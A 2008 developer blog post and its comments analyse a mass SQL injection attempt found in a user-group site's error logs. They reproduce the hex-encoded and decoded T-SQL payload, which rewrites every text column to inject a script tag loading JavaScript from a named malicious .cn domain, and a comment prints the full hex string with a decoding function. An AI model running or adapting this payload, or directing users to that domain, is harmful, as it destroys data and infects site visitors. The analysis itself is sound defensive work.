A new type of SQL Injection attack

By James at September 12, 2008 10:51
Filed Under:

I use ELMAH to take care of un-handled exceptions on my web sites, including www.iedotnetug.org. It works well, and sends me an email when something goes wrong. I typically get 2-3 emails about the user group site a week, usually bots or spiders causing 404 errors. Today I woke up with two emails with the following errors:

System.FormatException: Input string was not in a correct format.

Ok, I see these all the time, almost deleted the message, but decided to scroll down just a bit more to the variables to see what spider triggered this. You won't believe what I saw.

QUERY_STRING pageNum=3;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x444

Now a good friend of mine, and member of the user group - Matt Penner - is constantly generating errors on the user group site when trying to submit his Most Valuable Member points. I had just finished making a fix last night, and thought he'd get a kick out of seeing this. So I forward it on to Matt. His response was:

"Wow, can you say SQL Injection Attack?  Do you really look over all the error messages?  Do they come in your email?  That could be a lot to wade through.  How much do you get? You've probably already figured out their code but here's what they were trying to do:" 

He then goes on to show me the SQL which was in this HEX string. Pretty scary stuff.

DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id
and a.xtype='u'
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FROM Table_Cursor
update ['+@T+']
set ['+@C+']=''"></title><script src="http://<effing domain removed to protect my readers>/csrss/w.js"></script><!--''+['+@C+']
where '+@C+' not like ''%"></title><script src="http://<effing domain removed to protect my readers>/csrss/w.js"></script><!--''')
FROM Table_Cursor
CLOSE Table_Cursor

Matt then goes on to say:

"This looks fairly nasty. He's really trying to replace any TITLE tag on your HTML pages. If your titles were dynamically generated from SQL (and that's a pretty big if) this would close the tag, insert a script the browser would run and then comment out the rest of the page. However, HTML is fairly forgiving so this script would probably run no matter what tag got hit.

But that's not the bad part. This script changes every single text column in every table in your database. Ugh! The sheer destruction of all your data would probably debilitate the site as a whole no matter what.

But you have to give him props. He does optimize the code for you. For instance, his script doesn't update fields that have already been hacked previously. So I guess he's kind enough not to waste processes on your SQL box. Maybe you should thank him."

Now Matt works at a school district and his network is secure. But because he's a geek like me, he decides to visit the domain. This is what he finds:


Matt tells me the code is in HEX and he had to use PSPad to decrypt it. He goes on to say:

"After IIS unencodes the query string this turns into:
SET @S = CAST(0xBlahBlahBlah AS CHAR(4000));
EXEC (@S);

It looks like SQL's CAST statement is smart enough to know that 0x is a hex string and automatically converts it to text for you.  This is much like a CAST(blah as datetime) is smart enough to convert dates from a variety of different formats.  Now it's in a plain text string which is dynamically executed by the EXEC statement."

We email about it a few more times, then consider the matter closed. All until I run across this blog entry from Steve Trefethen today. The same attack was tried on his blog, however he went further and downloaded the JavaScript. The JavaScript in turn will insert an <IFRAME> which will then load some pretty nasty ActiveX controls.

I have been meaning to do some major overhauling on the user group site, especially to get rid of the query string parameters. Fortunately for me, the query string parameter is encoded and then passed into a SqlDataSource Parameter. Whew! I guess I know what I'm going to be doing sooner, rather than later.

Oh, and if you want to bypass my protection for you and throw caution to the wind, replace "http://<effing domain removed to protect my readers>" with www0.douhunqn.cn. You have been warned.

Big props to Matt for helping me out.


By the way, as I was preparing this and pasting the various bits of code into Live Writer, the following NOD 32 anti virus window popped up:


Nasty, nasty stuff.

Comments (3) -

9/12/2008 3:03:58 PM #

Matt Penner

Hehe, this was fun stuff.

Good to see someone else making use of Live Writer.  It's a great blogging app and blows away most of the others I checked out, commercial and free.

Matt Penner | Reply

11/2/2008 10:44:41 AM #

Paul Chu

Well, I was curious as to to how Matt decoded the hex data so I gave it a try.

AKA, LA Guy Paul

-- How to convert the Hexadecimal Data to character display using a custom sql function

-- Step 1:  create the helper function below in your Database: dbo.HexStrToVarBin
-- Step 2: set you SSMS Query > Results to Text to show complete output
-- Step 3: run tsql below to convert to a character string

-- here I concatenated all the Hex data into one long hex string on 1 line
declare @msghex nvarchar(4000)
set @msghex = '0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72'
-- call the function to convert to character
select convert( varchar(4000),dbo.HexStrToVarBin(@msghex))

-- Step 4: reformat the output to this:
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
BEGIN exec('update ['+@T+'] set ['+@C+']=''"></title><script src="www0.douhunqn.cn/.../script><;!--''+['+@C+'] where '+@C+' not like ''%"></title><script src="www0.douhunqn.cn/.../script><;!--''')
CLOSE Table_Cursor

-- Thanks to Peter Debetta
-- sqlblog.com/.../...rt-hex-string-to-varbinary.aspx
CREATE FUNCTION dbo.HexStrToVarBin(@hexstr VARCHAR(8000))  
RETURNS varbinary(8000)  
   DECLARE @hex CHAR(2), @i INT, @count INT, @b varbinary(8000), @odd BIT, @start bit
   SET @count = LEN(@hexstr)  
   SET @start = 1
   SET @b = CAST('' AS varbinary(1))  
   IF SUBSTRING(@hexstr, 1, 2) = '0x'  
       SET @i = 3  
       SET @i = 1  
   SET @odd = CAST(LEN(SUBSTRING(@hexstr, @i, LEN(@hexstr))) % 2 AS BIT)
   WHILE (@i <= @count)  
       IF @start = 1 AND @odd = 1
           SET @hex = '0' + SUBSTRING(@hexstr, @i, 1)
           SET @hex = SUBSTRING(@hexstr, @i, 2)
       SET @b = @b +  
               CAST(CASE WHEN SUBSTRING(@hex, 1, 1) LIKE '[0-9]'  
                   THEN CAST(SUBSTRING(@hex, 1, 1) AS INT)  
                   ELSE CAST(ASCII(UPPER(SUBSTRING(@hex, 1, 1)))-55 AS INT)  
               END * 16 +  
               CASE WHEN SUBSTRING(@hex, 2, 1) LIKE '[0-9]'  
                   THEN CAST(SUBSTRING(@hex, 2, 1) AS INT)  
                   ELSE CAST(ASCII(UPPER(SUBSTRING(@hex, 2, 1)))-55 AS INT)  
               END AS binary(1))  
       SET @i = @i + (2 - (CAST(@start AS INT) * CAST(@odd AS INT)))
       IF @start = 1
           SET @start = 0
    RETURN @b  

Paul Chu | Reply

8/7/2012 5:39:28 AM #

Business Software

Some business applications are built in-house and some are bought from vendors (off the shelf software products). These Business Applications either are installed on desktops or on big servers.

Business Software United States | Reply

Add comment

  Country flag
  • Comment
  • Preview

About the author

James James is a five time and current Microsoft MVP in Client App Development, a Telerik Insider, a past Director on the INETA North America Board, a husband and dad, and has been developing software since the early days of Laser Discs and HyperCard stacks. As the Founder and President of the Inland Empire .NET User's Group, he has fondly watched it grow from a twice-a-month, early Saturday morning group of five in 2003, to a robust and rambunctious gathering of all types and sizes of .NET developers.

James loves to dig deep into the latest cutting edge technologies - sometimes with spectacular disasters - and spread the word about the latest and greatest bits, getting people excited about developing web sites and applications on the .NET platform, and using the best tools for the job. He tries to blog as often as he can, but usually gets distracted by EF, LINQ, MVC, ASP, SQL, XML, and most other types of acronyms. To keep calm James plays a mean Djembe and tries to practice his violin. You can follow him on twitter at @latringo.

And as usual, the comments, suggestions, writings and rants are my own, and really shouldn't reflect the opinions of my employer. That is, unless it really does.

James Twitter Feed

Recent Comments

Comment RSS

Month List